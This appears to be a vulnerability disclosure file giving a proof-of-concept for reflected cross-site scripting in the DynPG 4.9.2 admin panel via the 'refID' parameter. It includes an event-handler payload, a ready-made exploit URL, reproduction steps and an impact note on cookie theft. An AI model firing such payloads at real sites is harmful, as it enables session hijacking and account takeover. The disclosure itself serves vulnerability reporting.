POC / DynPG 4.9.2 XSS via refID parameter

xoffense Update DynPG 4.9.2 XSS via refID parameter History

1 contributor

21 lines (16 sloc) | 1017 Bytes

```
Description

A cross-site scripting (XSS) issue in the DynPG admin login panel version 4.9.2 allows remote attackers to inject JavaScript via the "refID" Parameter
___
XSS Payload: x"%20onmouseover=alert(4)%20x="
___
Vulnerable Parameter: refID
___
Steps to Reproduce the Issue:

1- Login to DynPG admin panel
2- Paste below POC:
https://localhost/dynpg/backendpopup/popup.php?limit=30&orderby=refId&page=1&popUpResource=images&query=&refID=x%22%20onmouseover%3dalert(5)%20x%3d%22&returnCall=&singlePopup=false

(hover your mouse to “select no entry” to trigger XSS)


Video POC: https://drive.google.com/file/d/1DWHNA2WoOxQjdQLCk8E17pKWss0DGFsJ/view?usp=sharing
___
Impact
With the help of xss attacker can perform social engineering on users by redirecting them from real website to fake one. Attacker can steal their cookies leading to account takeove
```